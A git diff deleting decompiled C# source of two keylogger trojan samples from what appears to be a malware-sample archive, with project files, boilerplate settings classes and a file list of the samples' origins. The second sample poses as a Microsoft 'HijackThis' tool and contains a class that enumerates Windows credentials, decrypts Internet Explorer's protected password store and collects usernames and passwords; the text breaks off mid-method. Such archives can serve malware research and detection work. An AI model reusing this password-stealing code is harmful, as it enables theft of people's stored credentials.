[DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MySettings.cs deleted file mode 100644 index a2fa2bcb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ToolsHelper.My.MySettings -// Assembly: InternetExplorerToolsHelper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 16EA3E46-9F67-4C50-915F-D62CEFEE196A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace ToolsHelper.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MySettingsProperty.cs deleted file mode 100644 index 13142630..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ToolsHelper.My.MySettingsProperty -// Assembly: InternetExplorerToolsHelper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 16EA3E46-9F67-4C50-915F-D62CEFEE196A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace ToolsHelper.My -{ - [StandardModule] - [HideModuleName] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/Resources/Resources.cs deleted file mode 100644 index 2af89d89..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ToolsHelper.My.Resources.Resources -// Assembly: InternetExplorerToolsHelper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 16EA3E46-9F67-4C50-915F-D62CEFEE196A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace ToolsHelper.My.Resources -{ - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) ToolsHelper.My.Resources.Resources.resourceMan, (object) null)) - ToolsHelper.My.Resources.Resources.resourceMan = new ResourceManager("ToolsHelper.Resources", typeof (ToolsHelper.My.Resources.Resources).Assembly); - return ToolsHelper.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => ToolsHelper.My.Resources.Resources.resourceCulture; - set => ToolsHelper.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Trojan-Spy.MSIL.KeyLogger.ecv.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Trojan-Spy.MSIL.KeyLogger.ecv.csproj deleted file mode 100644 index 758b7663..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Trojan-Spy.MSIL.KeyLogger.ecv.csproj +++ /dev/null @@ -1,55 +0,0 @@ - - - - - Debug - AnyCPU - {2D48935A-CC8E-45EF-B714-3880C4E6085D} - WinExe - InternetExplorerToolsHelper - 1.0.0.0 - ToolsHelper - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Trojan-Spy.MSIL.KeyLogger.ecv.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Trojan-Spy.MSIL.KeyLogger.ecv.sln deleted file mode 100644 index 910ddd0c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Trojan-Spy.MSIL.KeyLogger.ecv.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "InternetExplorerToolsHelper", "Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd.csproj", "{2D48935A-CC8E-45EF-B714-3880C4E6085D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {2D48935A-CC8E-45EF-B714-3880C4E6085D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2D48935A-CC8E-45EF-B714-3880C4E6085D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2D48935A-CC8E-45EF-B714-3880C4E6085D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2D48935A-CC8E-45EF-B714-3880C4E6085D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/AssemblyInfo.cs deleted file mode 100644 index dd390d6e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCompany("")] -[assembly: ComVisible(false)] -[assembly: AssemblyCopyright("Copyright © Microsoft Corp. 1996-2010")] -[assembly: AssemblyProduct("HijackThis")] -[assembly: AssemblyDescription("Microsoft")] -[assembly: AssemblyTitle("Microsoft")] -[assembly: AssemblyFileVersion("2.3.0.002")] -[assembly: Guid("b980959d-4746-431d-8670-3099f6a08b83")] -[assembly: AssemblyVersion("2.3.3.234")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIE7Password.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIE7Password.cs deleted file mode 100644 index 19c55596..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIE7Password.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CIE7Password -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System; - -namespace Roy -{ - internal class CIE7Password - { - private string m_szResourceName; - private string m_szUserName; - private string m_szPassword; - private DateTime m_dtAddDate; - private int m_dwType; - private string m_szDescription; - private string m_szURL; - - internal CIE7Password( - string szResourceName, - string szURL, - string szUserName, - string szPasswd, - DateTime dtAddDate, - int dwType, - string szDescription) - { - this.m_dtAddDate = dtAddDate; - this.m_dwType = dwType; - this.m_szPassword = szPasswd; - this.m_szResourceName = szResourceName; - this.m_szUserName = szUserName; - this.m_szURL = szURL; - this.m_szDescription = szDescription; - } - - public string ResourceName => this.m_szResourceName; - - public string URL => this.m_szURL; - - public string Description => this.m_szDescription; - - public string UserName => this.m_szUserName; - - public string Password => this.m_szPassword; - - public DateTime AddDate => this.m_dtAddDate; - - public int PasswdType => this.m_dwType; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIE7Passwords.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIE7Passwords.cs deleted file mode 100644 index e49a62d9..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIE7Passwords.cs +++ /dev/null @@ -1,684 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CIE7Passwords -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Text.RegularExpressions; - -namespace Roy -{ - internal class CIE7Passwords : CUtils, IEnumerable - { - private const int ERROR_CACHE_FIND_FAIL = 0; - private const int ERROR_CACHE_FIND_SUCCESS = 1; - private const int MAX_PATH = 260; - private const int MAX_CACHE_ENTRY_INFO_SIZE = 4096; - private const int NORMAL_CACHE_ENTRY = 1; - private const int URLHISTORY_CACHE_ENTRY = 2097152; - private const int PROV_RSA_FULL = 1; - private const int ALG_CLASS_HASH = 32768; - private const int ALG_TYPE_ANY = 0; - private const int ALG_SID_SHA = 4; - private const int CALG_SHA = 32772; - private const int AT_SIGNATURE = 2; - private const int HP_HASHVAL = 2; - private const int READ_CONTROL = 131072; - private const int STANDARD_RIGHTS_READ = 131072; - private const int KEY_QUERY_VALUE = 1; - private const int KEY_ENUMERATE_SUB_KEYS = 8; - private const int KEY_NOTIFY = 16; - private const int SYNCHRONIZE = 1048576; - private const int STANDARD_RIGHTS_WRITE = 131072; - private const int KEY_SET_VALUE = 2; - private const int KEY_CREATE_SUB_KEY = 4; - private const int KEY_READ = 131097; - private const int KEY_WRITE = 131078; - private const int HKEY_CURRENT_USER = -2147483647; - private List m_IEPass; - [SpecialName] - private CIE7Passwords.SYSTEMTIME \u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lst; - [SpecialName] - private CIE7Passwords.FILETIME \u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lft; - - public CIE7Passwords() => this.m_IEPass = new List(); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FileTimeToLocalFileTime( - ref CIE7Passwords.FILETIME lpFileTime, - ref CIE7Passwords.FILETIME lpLocalFileTime); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FileTimeToSystemTime( - ref CIE7Passwords.FILETIME lpFileTime, - ref CIE7Passwords.SYSTEMTIME lpSystemTime); - - [DllImport("wininet.dll", EntryPoint = "FindFirstUrlCacheEntryA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindFirstUrlCacheEntry( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszUrlSearchPattern, - IntPtr lpFirstCacheEntryInfo, - ref int lpdwFirstCacheEntryInfoBufferSize); - - [DllImport("wininet.dll", EntryPoint = "FindNextUrlCacheEntryA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindNextUrlCacheEntry( - int hEnum, - IntPtr lpFirstCacheEntryInfo, - ref int lpdwFirstCacheEntryInfoBufferSize); - - [DllImport("wininet.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindCloseUrlCache(int hEnumHandle); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lstrlenA(IntPtr lpString); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lstrcpyA([MarshalAs(UnmanagedType.VBByRefStr)] ref string RetVal, int ptr); - - [DllImport("advapi32.dll", EntryPoint = "CryptAcquireContextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptAcquireContext( - ref int phProv, - int pszContainer, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pszProvider, - int dwProvType, - int dwFlags); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptCreateHash( - int hProv, - int Algid, - int hKey, - int dwFlags, - ref int phHash); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptHashData(int hHash, IntPtr pbData, int dwDataLen, int dwFlags); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptGetHashParam( - int hHash, - int dwParam, - IntPtr pByte, - ref int pdwDataLen, - int dwFlags); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptGetHashParam( - int hHash, - int dwParam, - [MarshalAs(UnmanagedType.LPArray)] ref byte[] pByte, - ref int pdwDataLen, - int dwFlags); - - [DllImport("advapi32.dll", EntryPoint = "CryptSignHashA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptSignHash( - int hHash, - int dwKeySpec, - int sDescription, - int dwFlags, - int pbSignature, - ref int pdwSigLen); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptDestroyHash(int hHash); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptReleaseContext(int hProv, int dwFlags); - - [DllImport("advapi32.dll", EntryPoint = "RegOpenKeyExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegOpenKeyEx( - int hKey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpSubKey, - int ulOptions, - int samDesired, - ref int phkResult); - - [DllImport("advapi32.dll", EntryPoint = "RegQueryValueExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegQueryValueEx( - int hKey, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpValueName, - int lpReserved, - ref int lpType, - IntPtr lpData, - ref int lpcbData); - - [DllImport("advapi32.dll", EntryPoint = "RegDeleteValueA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegDeleteValue(int hKey, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpValueName); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int LocalFree(int hMem); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RegCloseKey(int hKey); - - [DllImport("crypt32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptUnprotectData( - ref CIE7Passwords.DATA_BLOB pDataIn, - int ppszDataDescr, - IntPtr pOptionalEntropy, - int pvReserved, - int pPromptStruct, - int dwFlags, - ref CIE7Passwords.DATA_BLOB pDataOut); - - [DllImport("crypt32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CryptUnprotectData( - ref CIE7Passwords.DATA_BLOB pDataIn, - int ppszDataDescr, - ref CIE7Passwords.DATA_BLOB pOptionalEntropy, - int pvReserved, - int pPromptStruct, - int dwFlags, - ref CIE7Passwords.DATA_BLOB pDataOut); - - [DllImport("advapi32.dll", EntryPoint = "CredEnumerateW", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CredEnumerate( - [MarshalAs(UnmanagedType.LPWStr)] string lpszFilter, - int lFlags, - ref int pCount, - ref int lppCredentials); - - [DllImport("advapi32.dll", EntryPoint = "CredDeleteW", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CredDelete([MarshalAs(UnmanagedType.LPWStr)] string lpwstrTargetName, int dwType, int dwFlags); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CredFree(int pBuffer); - - [DllImport("oleaut32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern string SysAllocString(int pOlechar); - - private string GetStrFromPtrA(IntPtr lpszA) => Marshal.PtrToStringAnsi(lpszA); - - private byte CheckSum(ref string s) - { - int num1 = 0; - int num2 = Strings.Len(s); - int Start = 1; - while (Start <= num2) - { - checked { num1 += (int) Math.Round(Conversion.Val("&H" + Strings.Mid(s, Start, 2))); } - checked { Start += 2; } - } - return checked ((byte) unchecked (num1 % 256)); - } - - private string GetSHA1Hash(ref byte[] pbData) - { - pbData = (byte[]) Microsoft.VisualBasic.CompilerServices.Utils.CopyArray((Array) pbData, (Array) new byte[checked (pbData.Length + 1 + 1)]); - byte[] hash = SHA1.Create().ComputeHash(pbData); - string shA1Hash = ""; - int num = checked (hash.Length - 1); - int index = 0; - while (index <= num) - { - shA1Hash += Strings.Right("00" + Conversion.Hex(hash[index]), 2); - checked { ++index; } - } - return shA1Hash; - } - - private DateTime FileTimeToDate(ref CIE7Passwords.FILETIME ftDateTime) - { - CIE7Passwords.FileTimeToLocalFileTime(ref ftDateTime, ref this.\u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lft); - CIE7Passwords.FileTimeToSystemTime(ref this.\u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lft, ref this.\u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lst); - return DateTime.FromOADate(DateAndTime.DateSerial((int) this.\u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lst.wYear, (int) this.\u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lst.wMonth, (int) this.\u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lst.wDay).ToOADate() + DateAndTime.TimeSerial((int) this.\u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lst.wHour, (int) this.\u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lst.wMinute, (int) this.\u0024STATIC\u0024FileTimeToDate\u00242011139101154\u0024lst.wSecond).ToOADate()); - } - - private void ProcessIEPass(string strURL, string strHash, CIE7Passwords.DATA_BLOB dataOut) - { - CIE7Passwords.StringIndexEntry Expression1; - int num1 = Strings.Len((object) Expression1); - CIE7Passwords.StringIndexHeader Expression2; - Strings.Len((object) Expression2); - IntPtr ptr1; - ref IntPtr local = ref ptr1; - int pbData = dataOut.pbData; - IntPtr ptr2 = new IntPtr(dataOut.pbData); - int num2 = (int) Marshal.ReadByte(ptr2); - int num3 = checked (pbData + num2); - local = new IntPtr(num3); - object structure1 = Marshal.PtrToStructure(ptr1, Expression2.GetType()); - CIE7Passwords.StringIndexHeader stringIndexHeader1; - CIE7Passwords.StringIndexHeader stringIndexHeader2 = structure1 != null ? (CIE7Passwords.StringIndexHeader) structure1 : stringIndexHeader1; - CIE7Passwords.StringIndexEntry stringIndexEntry1; - string str; - if (stringIndexHeader2.dwType == 1) - { - if (stringIndexHeader2.dwEntriesCount < 2) - return; - IntPtr ptr3 = new IntPtr(checked (ptr1.ToInt32() + stringIndexHeader2.dwStructSize)); - IntPtr num4 = new IntPtr(checked (ptr3.ToInt32() + stringIndexHeader2.dwEntriesCount * num1)); - int num5 = checked (stringIndexHeader2.dwEntriesCount - 1); - int num6 = 0; - while (num6 <= num5 && !(num4 == IntPtr.Zero | ptr3 == IntPtr.Zero)) - { - CIE7Passwords.StringIndexEntry stringIndexEntry2; - object structure2 = Marshal.PtrToStructure(ptr3, stringIndexEntry2.GetType()); - stringIndexEntry2 = structure2 != null ? (CIE7Passwords.StringIndexEntry) structure2 : stringIndexEntry1; - IntPtr num7 = new IntPtr(checked (num4.ToInt32() + stringIndexEntry2.dwDataOffset)); - string szUserName; - if (CIE7Passwords.lstrlenA(num7) != stringIndexEntry2.dwDataSize) - { - ptr2 = new IntPtr(checked (num4.ToInt32() + stringIndexEntry2.dwDataOffset)); - szUserName = Marshal.PtrToStringUni(ptr2); - } - else - { - num7 = new IntPtr(checked (num4.ToInt32() + stringIndexEntry2.dwDataOffset)); - szUserName = Marshal.PtrToStringAnsi(num7); - } - ptr3 = new IntPtr(checked (ptr3.ToInt32() + num1)); - object structure3 = Marshal.PtrToStructure(ptr3, stringIndexEntry2.GetType()); - stringIndexEntry2 = structure3 != null ? (CIE7Passwords.StringIndexEntry) structure3 : stringIndexEntry1; - str = Strings.Space(stringIndexEntry2.dwDataSize); - num7 = new IntPtr(checked (num4.ToInt32() + stringIndexEntry2.dwDataOffset)); - string szPasswd; - if (CIE7Passwords.lstrlenA(num7) != stringIndexEntry2.dwDataSize) - { - ptr2 = new IntPtr(checked (num4.ToInt32() + stringIndexEntry2.dwDataOffset)); - szPasswd = Marshal.PtrToStringUni(ptr2); - } - else - { - num7 = new IntPtr(checked (num4.ToInt32() + stringIndexEntry2.dwDataOffset)); - szPasswd = Marshal.PtrToStringAnsi(num7); - } - ptr3 = new IntPtr(checked (ptr3.ToInt32() + num1)); - this.m_IEPass.Add(new CIE7Password(strHash, strURL, szUserName, szPasswd, this.FileTimeToDate(ref stringIndexEntry2.ftInsertDateTime), 1, string.Empty)); - checked { num6 += 2; } - } - } - else - { - if (stringIndexHeader2.dwType != 0) - return; - str = (string) null; - IntPtr ptr4 = new IntPtr(checked (ptr1.ToInt32() + stringIndexHeader2.dwStructSize)); - IntPtr num8 = new IntPtr(checked (ptr4.ToInt32() + stringIndexHeader2.dwEntriesCount * num1)); - if (num8 == IntPtr.Zero | ptr4 == IntPtr.Zero) - return; - int num9 = checked (stringIndexHeader2.dwEntriesCount - 1); - int num10 = 0; - while (num10 <= num9) - { - CIE7Passwords.StringIndexEntry stringIndexEntry3; - object structure4 = Marshal.PtrToStructure(ptr4, stringIndexEntry3.GetType()); - stringIndexEntry3 = structure4 != null ? (CIE7Passwords.StringIndexEntry) structure4 : stringIndexEntry1; - Strings.Space(stringIndexEntry3.dwDataSize); - IntPtr num11 = new IntPtr(checked (num8.ToInt32() + stringIndexEntry3.dwDataOffset)); - string szUserName; - if (CIE7Passwords.lstrlenA(num11) != stringIndexEntry3.dwDataSize) - { - ptr2 = new IntPtr(checked (num8.ToInt32() + stringIndexEntry3.dwDataOffset)); - szUserName = Marshal.PtrToStringUni(ptr2); - } - else - { - num11 = new IntPtr(checked (num8.ToInt32() + stringIndexEntry3.dwDataOffset)); - szUserName = Marshal.PtrToStringAnsi(num11); - } - ptr4 = new IntPtr(checked (ptr4.ToInt32() + num1)); - this.m_IEPass.Add(new CIE7Password(strHash, strURL, szUserName, string.Empty, this.FileTimeToDate(ref stringIndexEntry3.ftInsertDateTime), 0, string.Empty)); - checked { ++num10; } - } - } - } - - private void 